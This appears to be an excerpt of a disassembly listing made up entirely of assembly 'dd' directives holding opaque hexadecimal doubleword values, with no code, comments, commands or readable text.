		dd 63E7FF78h, 0F969F8C5h, 210B0567h, 7CB3EED0h,	75FF179Bh
		dd 6E480AF3h, 0E93B2F00h, 7F519152h, 55E10F92h,	3B197F8Eh
		dd 0A4D8611Fh, 0FC2F08A2h, 18DEF780h, 15416E7Ah, 0ADE0D4B8h
		dd 3A8C17FCh, 9791701Fh, 74EFEFC9h, 77BFEC75h, 7919154Ah
		dd 32D5E3DFh, 6CB840FCh, 0DF3B7427h, 0FE6C0CD8h, 0D4BDDA1h
		dd 2B04B462h, 7C40C7A9h, 5236A5DFh, 1A35A70Fh, 8F13B501h
		dd 17B33Fh, 0A7B1892Ch,	0F527F7BDh, 0BEDFFA9Ah,	6825B7EBh
		dd 6A79FDA7h, 0C44E3DBh, 7FC11FA1h, 5FA39875h, 6AF75164h
		dd 2F5E6475h, 8FF7C8E3h, 0B03A4F82h, 2C1F6095h,	0D2BE8FFh
		dd 0ED5FE017h, 0BFB26877h, 0E47C28FFh, 17C46209h, 297F8C44h
		dd 0DB71CFE3h, 69762E63h, 27AFDF3Eh, 1D5C626Eh,	18C764BFh
		dd 0F2788F17h, 5F7227AFh, 0E38199A1h, 3C6D0B7Ah, 0DF8CABDFh
		dd 1EF7F060h, 0FFB97A58h, 2A180A55h, 55D3FF13h,	0DB7EBF25h
		dd 55CC19CCh, 0B7BF364Eh, 0D57A0596h, 0B74F8C03h, 7F977F4Eh
		dd 178D1BCEh, 5875EFFFh, 0CB813F0Ch, 0DC3F5A7Bh, 6BCB7081h
		dd 0DFF9F59h, 60BEA0D5h, 6D1BC48Dh, 67C22F9Dh, 38EB827Fh
		dd 3FCF773Bh, 80A21515h, 0C5FF9A28h, 0C4C86F17h, 9F8C3CC3h
		dd 0DFA294C0h, 34A7BF58h, 0C00F2E97h, 30F7375Ch, 55FF5B7Bh
		dd 0EB7F0085h, 3F5564EAh, 650AB77Ch, 4F6F0FB0h,	0F418BBB7h
		dd 67F7ED61h, 15DA066Fh, 6B41F61h, 0D7F0C748h, 33BFA8F5h
		dd 0CDE46119h, 7E7F1740h, 610AE1CFh, 2ADC69E0h,	294B2313h
		dd 0EE6A46F6h, 0B7C16367h, 0D2754169h, 2BDEFF18h, 0E6DF9777h
		dd 3F8E8D1Dh, 1F3F95FDh, 0B660DF1Fh, 0E12D1813h, 7F81BF6Bh
		dd 17791264h, 0F0B7F7Bh, 0FF61AE55h, 0B7EAFE91h, 66D51ED5h
		dd 0FDE2FFBCh, 9B7F7702h, 79F651A1h, 0E8CC55Eh,	63F4CDF5h
		dd 8EBA81D1h, 0EF568FFh, 44FF63E7h, 0EAC89827h,	31DECE92h
		dd 6F9C94BFh, 66F5CEEFh, 23D57F63h, 0E395D668h,	1607F17Dh
		dd 0BB002FC3h, 6F083BC2h, 0A1FF26D7h, 7BE1785Eh, 0AE0F5C8Dh
		dd 387F6378h, 0BF23023Dh, 837F17D5h, 81EFAD3Fh,	0C7EA9BFAh
		dd 0A0166949h, 229FC7C7h, 37FEAD97h, 8D179A86h,	22E37F0Dh
		dd 0E03F1A10h, 0A17D5048h, 9B1FFF0Bh, 84BA98D5h, 92781F60h
		dd 0F3B4C8F3h, 2B1B7E6Fh, 337F06C0h, 7AFF8417h,	17AF6C31h
		dd 0B163197Eh, 0A30B6F48h, 605AED38h, 0F717FF1Ah, 0BC6687Dh
		dd 5FDF627Ch, 115BEA6Fh, 604CDD3Eh, 94FFCB33h, 0E9A2E1C8h
		dd 0ED4A69E6h, 1760F5BAh, 6BF97EFFh, 63F26FA1h,	2C91FACCh
		dd 581E164Bh, 0D95E4678h, 0B63A26EAh, 1FB76CE2h, 75FAE1F4h
		dd 187D7041h, 0F41D29DFh, 6FFE172h, 461DDBB1h, 0FC6CE290h
		dd 753D1575h, 602F452Dh, 0FF4A6D56h, 94EE5DF1h,	2927A4A1h
		dd 0D4FF1B06h, 0FD59E271h, 6F6F6C91h, 0FD7542B7h, 0D41FBADCh
		dd 0F8B56299h, 8F1FBF91h, 0A605CBE7h, 499093FFh, 0B76B246Fh
		dd 0C96DFF83h, 6DB66023h, 7DFF4EB2h, 0CA4D7C45h, 0FF8D1B91h
		dd 491FF5BBh, 50018A7h,	7E2108FFh, 50C0EF0h, 7B0DFA63h
		dd 17913F29h, 0FF983E30h, 0F092E1E0h, 7F52816Fh, 92FF1A02h
		dd 50085744h, 0D9FF4E6Eh, 0A5ACAF5Dh, 0D64CDCCDh, 0FFC5760Dh
		dd 28832529h, 0FF5F7286h, 9FF7245Ch, 0C04B457Ch, 464007FFh
		dd 4CB23F73h, 0B14CDB4Fh, 0C65B25C5h, 4554FF42h, 21202359h
		dd 0F8FED2E4h, 3E525A01h, 7C8D6605h, 7F9E2D83h,	0A2221110h
		dd 0C2FFB19Dh, 0E3ECB237h, 0FF181534h, 0C60ADC0h, 6E1333F2h
		dd 989B91FEh, 8487A571h, 0EFF560Dh, 6716D544h, 0FF8E858Bh
		dd 363ADA8Bh, 63B810F3h, 3F4B40FFh, 0F5FC6C8Ah,	0EBECFFFEh
		dd 0A3E3C61Dh, 5AFFE6F9h, 38EA1CD5h, 0FF732872h, 0F5418C20h
		dd 0A0FDF4F7h, 25347EFFh, 0D5D7D7A6h, 0B7DBFFDEh, 0C4C7FA7Dh
		dd 440B56A8h, 591EFF68h, 0CBCECAA4h, 59FFAFC8h,	0CBD9B073h
		dd 0FFD2A1A5h, 0BA5DBE40h, 0EABED233h, 0BEC47AFFh, 91959BADh
		dd 0BFDDFF44h, 9D199C6Ch, 0AAFF696Dh, 0B6B3A89Ch, 0FF447243h
		dd 0AD054C63h, 19181B11h, 0C08AF8FFh, 357A82A9h, 0FF7912A3h
		dd 0B0E0AE4h, 0FF1BAC08h, 0B1170D3h, 37D0A1E5h,	0FBFF1B16h
		dd 5CE27A13h, 0F14B0E86h, 0D89AF629h, 0FFFF626Ah, 0A8AD1B02h
		dd 0FC985DA9h, 2B767D73h, 0B4BF8187h, 5C7FB20Eh, 464734FCh
		dd 2F3B5474h, 4E2733A3h, 13EA4DFFh, 2A3A4E22h, 6652FF7Eh
		dd 21274B36h, 0FAF63F52h, 761FF2ACh, 4BF73BFFh,	213E3C49h
		dd 0CBAE7CFDh, 4B994020h, 1FFFE976h, 7C349B36h,	0F6C1C76Bh
		dd 4C6D9F32h, 0FF64D823h, 0E434D1FFh, 8A668ED5h, 0E24DBCFFh
		dd 0BF9B4E8Eh, 161DFE13h, 1EE25E63h, 0EB6DB7DBh, 0B973FFFBh
		dd 0EDE3FD8Dh, 0D7FF5BE6h, 0CE2FE2D1h, 0FF8FC25Eh, 0F7E5EE2Ch
		dd 23C5F3D9h, 0A607ADFFh, 0F7DBD142h, 0DCB5FFE5h, 0A8231C2Ah
		dd 15FAE8F0h, 0EC80CCBCh, 0F8BFBBB5h, 0A5D1FF33h, 0E3066F8Ah
		dd 0B9FFF781h, 0BDD395EFh
		dd 0FEC2CBCDh, 0A6ADA484h, 0D351386h, 6BC1FFE2h, 0B0AF4BDDh
		dd 42FF30AAh, 0F1F1859Ah, 0FF1997F0h, 1DF3154Dh, 61CF549h
		dd 0F10219FFh, 0A272367Ah, 0FF99867Ch, 329139FFh, 969D9494h
		dd 2561F8E4h, 373B035Eh, 0FF9EFA2Eh, 70C5A89h, 0A8536662h
		dd 0A9A9DEE1h, 0ADC37FFFh, 20353759h, 0BC5874C4h, 8D2980F9h
		dd 0A255FF2Fh, 7DBCFC0Ch, 4D432F46h, 0DFF014B8h, 482050F2h
		dd 21ECFFDDh, 5D545755h, 14FFDE0Dh, 0DCBE4605h,	0FF483E15h
		dd 271A3E9Fh, 137EAD95h, 0FF35FF0Bh, 0EEE5EC9Dh, 2AE9EF03h
		dd 442637FFh, 66CD7FAh,	119FFF0Ch, 75A3209Bh, 6CFFD49Fh
		dd 7F8F8369h, 0FF06B4FDh, 88601D8Fh, 4A04A8FCh,	4ABB1BFFh
		dd 24918E95h, 1FFEFF06h, 0FD0795FAh, 0AFE5C51Ah, 0D6FFF3A3h
		dd 2B87D0BDh, 0FF2B2E25h, 133658CBh, 3F9E5A8h, 7D0100FFh
		dd 0D2E13870h, 8DEFFB2h, 0C9324ED0h, 0C1FFEED1h, 0CAA6D3C0h
		dd 0FF57EEBEh, 17D54ACDh, 0A3D6D2FCh, 53C8A0FDh, 0BFA9987Bh
		dd 0CF99EBFFh, 0FBFF95A1h, 963B923Ah, 0FF6BC798h, 496B6E65h
		dd 0B053161Ah, 13CDF4FDh, 6FE04AEFh, 0CF1B9084h, 0EFA34BFFh
		dd 7BAD7701h, 1407FF35h, 0A190E1Ch, 91D840A5h, 4CFFF09h
		dd 9978FF84h, 67E9D370h, 0D3FF6394h, 5DDF131Bh,	126D7273h
		dd 0FD78FC98h, 6E2A2B6Bh, 3119FC61h, 2F939FFFh,	2013E046h
		dd 71855F34h, 0FF4A4F42h, 4C6FA2FEh, 0C257450Eh, 58D350FFh
		dd 3F2D492Eh, 0EA35FF3Ch, 3E1DFCD6h, 15FFBAA6h,	4D76303Fh
		dd 0F8B23233h, 53E0B3E8h, 0E41EB72Eh, 0B6E98130h, 32FE8C46h
		dd 36981099h, 8FFF118Ch, 66FFFF59h, 0B53F8F89h,	0EA1B8FE5h
		dd 0DF98307Ch, 81B78FE8h, 8D9DFF82h, 0F9F8FBF1h, 20ED6A0Bh
		dd 0F8FFE2C9h, 298665D0h, 458B5F4Eh, 0B19D152Ch, 0E69FFF17h
		dd 44FFDD45h, 0C3A9A2E5h, 0FFB8D78Ah, 0CCCFC2F6h, 0EC2F7DE9h
		dd 5CDBCDFFh, 0CECFD72Dh, 0D2A6FFC8h, 2DAFBCBFh, 0BD979C5Fh
		dd 0FF1DD028h, 9CBAEDF7h, 7FFFFF6Ch, 0B3560D1Bh, 0FFBFB399h
		dd 0B2F787C0h, 7015888Ch, 53E3C752h, 0E87F0D98h, 0BB33D733h
		dd 7F09E1E7h, 1F7FFF25h, 819684ECh, 58FDE092h, 0ECF45F09h
		dd 0FF7E757Ch, 46BD690Ch, 0E160FC7Bh, 0E1CB68FFh, 0DBABECAFh
		dd 6A75FF79h, 725E2B68h, 2AFFAA84h, 569F3B86h, 0FF7E4E5Ah
		dd 0F5885E32h, 0C04D5324h, 76C572FFh, 0D449D5A3h, 0AFE6D241h
		dd 0D5CA0C1h, 90128006h, 2812BB1Dh, 2D52020Ch, 75610BC1h
		dd 0F9169ADFh, 0C829E8DBh, 0E865E000h, 0C05C9793h, 61B1BF6h
		dd 0E87E1DFFh, 0C55308E2h, 0F0FC6E5h, 9E10FE2Fh, 0FC123170h
		dd 3776AE16h, 0E21E1DA4h, 0DFAE601Fh, 24CED896h, 0C217FF28h
		dd 0A6552428h, 3CFF0B7Ah, 354A3149h, 0FF35DDC3h, 384C7FE7h
		dd 45E63C4Bh, 433A43FFh, 8B47AFF4h, 4BA3FF67h, 4E306B87h
		dd 4FFF4E33h, 9951B906h, 0FF55BD75h, 5AB27995h,	0F25E5D5Ch
		dd 0F48FED8Dh, 3E668F67h, 35940228h, 0FF85350Bh, 71706F6Fh
		dd 5110FEEFh, 0BF9C72C1h, 947BD71Eh, 7FFF7E7Ch,	0C70D5680h
		dd 0FF0B79A0h, 7D488CFDh, 8E8C648Bh, 0CBFF3446h, 69B0D71Dh
		dd 84F8957Dh, 9C6A5B5Dh, 0A09FA4DFh, 2CFF2DA1h,	0D15A81E0h
		dd 4BABDEABh, 4FFAFF1h,	0A73310Fh, 0FFB5B4B3h, 52B84677h
		dd 7383D2B9h, 0C0BE56FFh, 4B6CC2C1h, 3BE2FF81h,	0CBCAC820h
		dd 43FAE4CCh, 39D5F4ABh, 3D689E5Fh, 56FF99D5h, 0DDDCDA32h
		dd 0FF6D65DEh, 25E7C685h, 0AA6CE616h, 0EAE6E1FFh, 0EE99EE9Ah
		dd 0F319FF0Dh, 0D8F5F4F3h, 0DDFF9C7Ah, 0FDFD13FEh, 0FF90FFFEh
		dd 0F827468Eh, 7407F1C4h, 0A770AFFh, 0B40CE6F6h, 13F9F493h
		dd 0D4BE1413h, 0E63D5C98h, 0AC9AFFC7h, 200746FFh, 0A1D9C2A5h
		dd 0C022FF6Bh, 0EE94222Eh, 0D9FF31C5h, 0DE353B31h, 0FF393836h
		dd 59B16F3Ah, 40A83B1Ah, 444342FFh, 6C03C9F1h, 49A1FFB5h
		dd 4EA6E93Eh, 855B5150h, 7211FFDBh, 35D32ABh, 0FF6F5DB3h
		dd 0FFEE8E5Fh, 0A4984726h, 6B836794h, 8773F0F5h, 9BD4B56Fh
		dd 9F2FC4BFh, 0FF77FA76h, 0B6789297h, 574545Ch,	83FA83FFh
		dd 86764556h, 0F88BF0F7h, 28BF8E8Bh, 937B8C81h,	7CE7FF9Dh
		dd 98979694h, 0DFFB1528h, 9C7561B8h, 48B87F69h,	940FAAA6h
		dd 15A68FFh, 0AEADAD43h, 3EDFFFAFh, 5E4897F6h, 0C1B7B8B4h
		dd 0E23026FFh, 5FBC55E0h, 0C52B9F31h, 0C7C6FFC5h, 0EFAE44F4h
		dd 0CDF6B7C8h, 0FF36D1B4h, 3E2110FFh, 0DAD9D8D6h, 0B951F7FFh
		dd 0AB69DBFAh, 0E708FF12h, 34FB903h, 9BFC8DEAh,	0E0EC0611h
		dd 78048F5Ch, 6DDC8BCh,	5F8C1EE8h, 5EE00AFh, 5B84FF5Bh
		dd 0D0C0AE2h, 9FFF850Eh, 0FCEF3655h, 0FF171614h, 7F972118h
		dd 55971938h, 7FB8D883h, 6F252423h, 0DFF6CA8h, 2D2DC3D6h
		dd 0FF1E2F2Eh, 301756BCh, 8D9E35DEh, 3AD263FFh,	0B23E3D3Ch
		dd 0BE25A9CDh, 46B1857Fh, 0F5E24BACh, 4E367EB2h, 0B974ECBFh
		dd 0FF545353h, 1CD8F455h, 0ADDBA67Dh, 15D76DF5h, 0AE216F94h
		dd 95FFA444h, 6A688067h, 0FFF06C6Bh, 8D542BE1h,	7574729Ah
		dd 0F73476FDh, 0BF875E3Dh, 6B5FB361h, 0FBFF8D83h, 8786846Ch
		dd 0FF053888h, 4F71A8CFh, 51CE907Dh, 0E48B2B16h, 418A9947h
		dd 0BB8C5067h, 86E46F7h, 0D615CEAEh, 31161612h,	59CFF45Fh
		dd 0F0E9C58h, 5BF0357Eh, 84938C4h, 1908D034h, 0F20B676h
		dd 0F64C3046h, 0CBE2FF01h, 34A7F626h, 0E2311872h, 0FDC5AF19h
		dd 538BEE74h, 0B86DA232h, 3406530Fh, 0C35059F7h, 24394509h
		dd 0EED3E213h, 87443C91h, 0FDF7C0h, 1429D21Bh, 38060624h
		dd 27AEEC0Fh, 0D41849B1h, 0DB6100F3h, 4DA1F78Ah, 0E5D0425Fh
		dd 53C8047Ch, 1E8CEC95h, 901D621Eh, 8AB1EC55h, 0FF64F61Fh
		dd 268B1532h, 0C9CD261Ah, 62DF9209h, 38849013h,	14FDACC3h
		dd 8D22796Fh, 1392B10Ch, 0DD500EB3h, 0A217D38Ch, 60341163h
		dd 8189DC62h, 0B87CBB2Bh, 2F0F06EBh, 0C7C3F18Eh, 0A68E126Eh
		dd 812A20C6h, 0E3B11E07h, 271183D6h, 0F641F1C1h, 37110A38h
		dd 64FB204Ch, 245A028Fh, 7D5C927Bh, 49331812h, 3D32B365h
		dd 154E0AEDh, 97D7C550h, 0BD030573h, 1136417h, 6D010002h
		dd 5FDDA97h, 28C82B0Eh,	68566A7Fh, 0FAF990D0h, 0FF5657EFh
		dd 8404D3h, 51FE87Eh, 0F42B0000h, 0E8BD0Ah, 0B58F00C3h
		dd 151B04D4h, 0E90B7611h, 7FD8A966h, 40303E9h, 88FD2005h
		dd 0E3F62D4Ch, 0F332F0Dh, 56FF9EFFh, 14FEE837h,	0FFF138DAh
		dd 1D1C1B1Bh, 564905Dh,	0D3E2DEFFh, 2826CE25h, 272AD629h
		dd 2B0AFF15h, 823D33DBh, 1271FEBFh, 3A38D03Bh, 0B1A2DA3Bh
		dd 0A9BDB937h, 0F14C40FFh, 0CD4AAC8Dh, 4FA0FF6Fh, 2871EA7Fh
		dd 52FF2B52h, 5757BD83h, 0A3845958h, 0A27F70D4h, 42AC62B4h
		dd 0AF67AB88h, 3F3F7F7Dh, 6D381B39h, 2C6F6EFFh,	705716FCh
		dd 4C75FF9Eh, 8FBB870Ch, 7DFF967Ch, 0FAACD7ACh,	0D584FD80h
		dd 0F2BF46A9h, 69838961h, 6FC7FEA3h, 957B6D6Eh,	0BF33B795h
		dd 0BFDEFF16h, 529C7660h, 8542D180h, 4E5FA5FAh,	0AA3316A6h
		dd 8AC9C697h, 0B35BABFFh, 0B75F937Fh, 5397FF7Bh, 540EB5BBh
		dd 8406BEBCh, 874D3FFFh, 65539E0h, 0BFC93AC0h, 0CD26CCCEh
		dd 0E5FFEACCh, 0D5D4D23Ah, 0FF5526D6h, 37DFFEBDh, 19F7F0DEh
		dd 0E3E309FFh, 689EE5E4h, 16CDD6ACh, 6421F11Ah,	0F2B46F07h
		dd 78F5BCF3h, 2CFCD392h, 632DF267h, 0FF425609h,	0ED0ECF0Dh
		dd 0FF080707h, 4884C909h, 13E4F229h, 0DFD11FFh,	681917FFh
		dd 581BFFF3h, 1EE9DD67h
		dd 13FF23F4h, 2F4E53FBh, 6F29CF7Ch, 0A0322BFFh,	340B4AF8h
		dd 1D5530DAh, 5F7A33BCh, 0CF4D8E4Ah, 0BF839B8Dh, 4CA40F33h
		dd 50FF3206h, 7017DDA2h, 56B5BEA9h, 0D3B64BFFh,	0A37A19FBh
		dd 74D87261h, 972F45A9h, 0FF6A6968h, 4A09E1D6h,	7270986Bh
		dd 0AB7473FFh, 855C33F9h, 0F78FF08h, 82940E7Ch,	6BEBFB66h
		dd 7C338585h, 0AFEE043Dh, 8F79842Fh, 0B3DD6F7Bh, 628DEE1Fh
		dd 7299FF11h, 9E9D9C9Ah, 0C5FF2D7Dh, 0A74FA786h, 0C06963C0h
		dd 338FAA5Ah, 0CDD63CB0h, 2F4AB097h, 0FFC22994h, 0C5AAEBEEh
		dd 2EC43603h, 0C0CBC48Dh, 11ADC822h, 5F85FFFFh,	0D4261334h
		dd 88FFD53Eh, 0D831B0CBh, 0FFCBF24Ah, 0E2E3E0B7h, 0E6E40CE3h
		dd 0B2E8E7FFh, 11C8AF65h, 83EDFF05h, 9F01992h, 87FF3348h
		dd 14FB88FBh, 0C6FE0E3Dh, 0FF950389h, 7F067C03h, 0C0E17006h
		dd 33BF0B0Bh, 355480B3h, 0FF4616EEh, 1BFC16E4h,	0AB191FD4h
		dd 1E7A8662h, 84365125h, 0FFEB2D25h, 566DA925h,	0E82C5128h
		dd 70155189h, 58BF7533h, 6AC70C9Ah, 3DD3DBC2h, 87853FFFh
		dd 4067FF74h, 484747ADh, 0C4FAE149h, 0A4B26908h, 2D413117h
		dd 56A395FFh, 9B59AB96h, 155C83AFh, 39349D7Dh, 65995B8Ah
		dd 0E73D66EAh, 8497BF5Eh, 70FF176Ch, 505D0BA7h,	759D71FFh
		dd 7A9259B5h, 7E7DFF7Ch, 0A6C50F5Bh, 87FF6F7Fh,	8B630A32h
		dd 0FFF4A1BAh, 0EA8EF78Eh, 94939379h, 1AB995FFh, 189EBDFCh
		dd 5F62C654h, 0A04AE354h, 0A74D785Bh, 38FF5AA7h, 0AAFF850Dh
		dd 0B2B1B147h, 0FF3A8FB3h, 0C74493F2h, 0C1BDC4B9h, 0C0487FFEh
		dd 0CECCC02Ah, 0A0C8FFDFh, 0DFFF9DE0h, 0C989C4AAh, 0FFD22611h
		dd 1ADAD738h, 0DAD830DDh, 1EDCDBFFh, 1DC49B51h,	93E0A909h
		dd 0EA0CF87Eh, 0FF1795E6h, 2EED92AFh, 0FFFFF104h, 91862CC6h
		dd 0FBA4B679h, 0FD16DCFFh, 70899999h, 477FE00h,	8E0AEC44h
		dd 90FF319Dh, 0B70A9A6Fh, 0FF2605B8h, 275E2759h, 572A5464h
		dd 47672AF8h, 0FFDD760Eh, 0FFBFD533h, 3AD36BC8h, 0E42CFF97h
		dd 0A4303CD6h, 35FF41AAh, 45AD324Dh, 0FCA18D47h, 0E3453048h
		dd 334B51A7h, 0D838FF53h, 0DA5C7332h, 0B4CB239Dh, 21EA605Ch
		dd 0B25027EDh, 9329FF8Ch, 0AD145686h, 73826F6Ah, 7DFF9538h
		dd 80F8228Fh, 0FF0E84FFh, 8A89896Fh, 0EA00138Bh, 7A94ABFFh
		dd 0FC9F9C90h, 71DBA157h, 7E30E57Fh, 169E7623h,	92A2FE33h
		dd 5B82E12Bh, 0DA560D2Dh, 637E338Bh, 0B2B0588Fh, 0F339585Fh
		dd 1145899Ch, 63E39F71h, 233F8233h, 34FF8ECAh, 0C0CC26D2h
		dd 469958CFh, 0D6D4FF33h, 55D5D8D7h, 21F8FF9Fh,	0E1E0DE36h
		dd 6BFFAEE2h, 31BC2A1h,	0FFD1E5EBh, 0EFEEEC04h,	977F29F0h
		dd 1EF1D0F4h, 0FA136EF6h, 8517AD87h, 2F1FBDAh, 8CF0027Fh
		dd 71FFDBFFh, 0AD136E13h, 0FF0594A5h, 1A1919FFh, 7A90711Bh
		dd 0CA243BFEh, 0C7668621h, 3D9CFF91h, 0FC325B0Bh, 37BD36D8h
		dd 9A4BCFF6h, 8425FF38h, 32434D0Dh, 0FCFFF743h,	48074741h
		dd 0D44B4BA1h, 41BE4D4Ch, 0B8AE7514h, 2AEDD485h, 1BC85ABCh
		dd 0D6A552A6h, 75D1FFFFh, 8D6593A2h, 49FFA565h,	4785BB03h
		dd 0FF599CE5h, 24727A21h, 6C377F65h, 5F2A50E2h,	0B5E6335Ch
		dd 5CA34FB8h, 0BFFF5AFFh, 8E671185h, 6A7EFECDh,	95E291E1h
		dd 0FF338513h, 99714D97h, 5F1DBD51h, 654388FEh,	0ADEDA748h
		dd 0AAA86337h, 8BACABDBh, 4D94F4EBh, 332FB25Ah,	0FF3527B6h
		dd 57BF9EDDh, 19F73BFh,	8CC233C5h, 0CFF2433h, 8A41CF3Eh
		dd 178C8CFCh, 1D2B00E9h, 39063673h, 98626C0h, 2FB76427h
		dd 71C5008h, 9313C1D1h,	2D03BD64h, 0CB9FFh, 0FBA0040h
		dd 0BFB80BC0h, 0FF51FA75h, 1D6EBED0h, 5FABC887h, 3D6BDE60h
		dd 90760344h, 0A64C2D05h, 7830E408h, 0D0032E6Dh, 0DE033E06h
		dd 12321102h, 7103CFh, 0DB7B024h, 5607D962h, 0D0BA5805h
		dd 0B28C4A17h, 18CF06B0h, 6D064E93h, 34EF424Dh,	46BBEA9h
		dd 3E450046h, 490309Eh,	8261FD02h, 4148C8Ah, 0DD3C1B48h
		dd 0DA009EE8h, 0DFA8552Eh, 5616798Bh, 79A58155h, 6969467Ah
		dd 6D55AE37h, 0A6EFACFDh, 0BC6A6B52h, 0AEF9F500h, 19097A6Bh
		dd 6C55FDD0h, 3B91CA9h,	79758A37h, 6A822F1Bh, 38FF55BEh
		dd 5536A2EAh, 0DBBFD49Ch, 87332855h, 4931BDBh, 86DCCBD7h
		dd 17EFD9DDh, 8D03B525h, 45932E3Bh, 0C1097F4Fh,	0C630855h
		dd 0CEF7F7A5h, 5D4A6E8Eh, 0FF2F03E4h, 0E46A602Bh, 3B6BE56Dh
		dd 574E3D6Fh, 42DCB705h, 0DFFBA26Bh, 0A2255388h, 40587D25h
		dd 1F539D68h, 595B957Dh, 0D5BCDF32h, 5D5C2868h,	0FFEEFAAFh
		dd 0EFBFE8E0h, 5C02BCDh, 7F36E8D5h, 570D9852h, 6B9B3005h
		dd 7817581Dh, 2159036Ah, 14878F4h, 4B95558Fh, 0F3E2AF6Bh
		dd 8FF6AFABh, 0ABFEBBEAh, 0A50A765Fh, 7C30F191h, 0E92DD3CEh
		dd 89068D30h, 89FD4E08h, 0F0F7C200h, 41A358C1h,	0F4B2EBAAh
		dd 8945E887h, 0A37F00DEh, 0ACA3D1A3h, 0BAAFFEAAh, 0B2AFBDADh
		dd 20ABABFFh, 0AFDE8D18h, 2000020h, 6D2D0040h, 2B8104B5h
		dd 1144284Fh, 6F022A0Ch, 3F690378h, 605719CEh, 97B60EACh
		dd 4103BDDBh, 8B118FB1h, 2C14DBBAh, 6E7C2BA8h, 2DF605BAh
		dd 5471560Fh, 67B46293h, 0A4B17271h, 52359E0Dh,	84EE0AC6h
		dd 93FB45D4h, 7703189Ah, 5B3BE932h, 0C38C765Ch,	0FF0DEF00h
		dd 1EAC3C3h, 0B92A990Eh, 0D14B05BFh, 0FFB535h, 59CE08BFh
		dd 0CB7B8A56h, 0B7990F23h, 269170Eh, 0DE0858B7h, 8E00EE49h
		dd 40FB1BB7h, 0AEAAF2AEh, 0B7BABD29h, 0DBB0054h, 0B70A5EAAh
		dd 0DD3090F1h, 0EC8309C2h, 62FFE63h, 7E1F8873h,	94FF88ECh
		dd 58EFEFF6h, 57FF8E63h, 0DBB7E7FFh, 0A2A2FEFEh, 0B0A2FFD0h
		dd 0B9BBB5AAh, 3C77E7FEh, 0FB8EEDFFh, 0C0FB2343h, 99B66FF1h
		dd 31EE0317h, 5BFD33E8h, 0FF8B02EAh, 0CC08BFEEh, 0A4948C1Fh
		dd 792220B7h, 7AFF02h, 0FFF2C0D4h, 0C802026Fh, 21F04DDh
		dd 8C730375h, 2DEDB03Ch, 19967DEEh, 67A8F212h, 58D80231h
		dd 0B66EC818h, 1CDE7813h, 0DE5C8B9Ch, 5CA52004h, 0F45217C4h
		dd 4F0323EFh, 0C31CE6B7h, 2B1263F3h, 10432F3Fh,	5BDDFE83h
		dd 5EDBE527h, 0DD6604A7h, 0AB3AFC6Fh, 7BF11D63h, 1D1B0948h
		dd 5B1CDB27h, 0E518BD8h, 331889D9h, 0C251D837h,	6B190EEh
		dd 7161A67Eh, 741A8014h, 29332DD8h, 570160FEh, 0C2FECBC8h
		dd 7E027Dh, 5D31C676h, 0EA9DB6CFh, 67A2C567h, 0BEBACEACh
		dd 16DE8175h, 0DE632275h, 0AAC09904h, 0BCE0962Dh, 0BFD0C279h
		dd 73FE31BFh, 0B1DABA6Fh, 989F0902h, 0BFDBFC13h, 9731034Ch
		dd 0EE4DEFDEh, 6FE0A3Dh, 3ED316EEh, 1612EE05h, 86F22C8h
		dd 0F2A7D641h, 0EEDA8273h, 178116EDh, 0A5FB94EDh, 9601FB08h
		dd 1B466FFDh, 0B4FBDBEh, 29EE4F53h, 0EDA94635h,	0DB9F534Dh
		dd 306D7E0Ah, 0F6093BEEh, 0CEFF9A08h, 59753706h, 0FE755FFEh
		dd 0EF0E0717h, 0FE6F9A58h, 3B16BAA6h, 0A80C7FEh, 0DA9AED71h
		dd 0BAEC99FAh, 670E5A14h, 46096379h, 0FB84997Fh, 95FDDD83h
		dd 216F8F3Ch, 76549B0Dh, 0EB006078h, 7703EB0Dh,	5B072813h
		dd 0DA8D1576h, 0DB040F6Eh, 0F6BED36Ch, 1C541F15h, 1AFC8C48h
		dd 1A03DCB2h, 87B55B64h, 3DE8FDF7h, 76D8D607h, 0A1B2C91Dh
		dd 362B7E02h, 0FDFDFB15h, 9BE984E0h, 275803FEh,	0AF609BEFh
		dd 98FC036Fh, 0FE08FC3Dh, 5266971h, 0A515522Eh,	0D3D28EEh
		dd 8023FFFEh, 0BDFD7FFBh, 4D8C086Ch, 7EB69EF3h,	2BD81A86h
		dd 3DEC833Eh, 68E1860Ch
		dd 6D59365Ch, 0F246CB03h, 19A5B188h, 0EFFBA593h, 667AEFC4h
		dd 0FB8AB50Fh, 0CDA6F42Dh, 0E6BB1135h, 6324F215h, 0E6F0B89h
		dd 0B7A862FBh, 374404A7h, 0BAFE1DF6h, 0DDC382EDh, 0A72932DAh
		dd 25B75916h, 0FF5B5B25h, 44515B2Dh, 43575546h,	80E0356Ch
		dd 8B15B51Fh, 9CDF2673h, 8910DEF0h, 21DF7B82h, 93DC724h
		dd 5DB00B77h, 0B8400F4Dh, 0A1157DD4h, 0B2AE0616h, 2C270826h
		dd 0E2B16CC8h, 0E2ECFB9Fh, 48046F51h, 0D6E0CAEh, 221F7D19h
		dd 0A3BA1C79h, 26C6FBE1h, 7C33774Dh, 0FD81FB82h, 0BF1125ABh
		dd 0C2DF6F03h, 10B49713h, 0F937457Ch, 6342B230h, 3C1FCC0Eh
		dd 0B87E009Dh, 4785A7EFh, 4AFD85EEh, 0AB11B708h, 45FDFB09h
		dd 0FD8BFB8Ch, 0BC2D8C67h, 0C2468767h, 0EDF0A587h, 0F00FD9C3h
		dd 0FF000F15h, 0FE0DA20h, 65CA3FADh, 1EBE0CDh, 6EC0ACB9h
		dd 8BBA0D5Bh, 385D1103h, 0AC20C0B5h, 0AB6B30FBh, 2C63B09h
		dd 0D8090F6Dh, 0BF069B73h, 678E6D43h, 0DBBA6507h, 1E099B03h
		dd 9006BF0Dh, 0CBCE2CD0h, 7F09FBA1h, 8D3DF135h,	71FF3E00h
		dd 33F7AADCh, 0FF873A63h, 0E8813C34h, 0CABCE9AFh, 0BEF3CCFFh
		dd 65206C01h, 6BE7FFC4h, 0D464150Bh, 0F4FFC14Ah, 5C187A38h
		dd 0FE394141h, 110E7773h, 85D0CB10h, 8B73FF7Ah,	0CB145024h
		dd 1AFF05FCh, 1D3EE79Ch, 0FF7ACDFDh, 0C4189C07h, 320FC5D4h
		dd 0E73BF4FFh, 6C1FEA74h, 0FFBB56E2h, 2BAE9AE1h, 0FF68E3E8h
		dd 0C29C3109h, 5C384F26h, 0CE5876FFh, 683D1DFDh, 34DDED03h
		dd 49FE3FF5h, 0F7949ACh, 0E897D025h, 74859AF8h,	8C04FFFDh
		dd 0A2769411h, 65FE3EF8h, 0F0A89D41h, 74DFE781h, 1525137Dh
		dd 87CCEDF5h, 0CF1E2FBDh, 3F6F0881h, 0FF04F165h, 72653418h
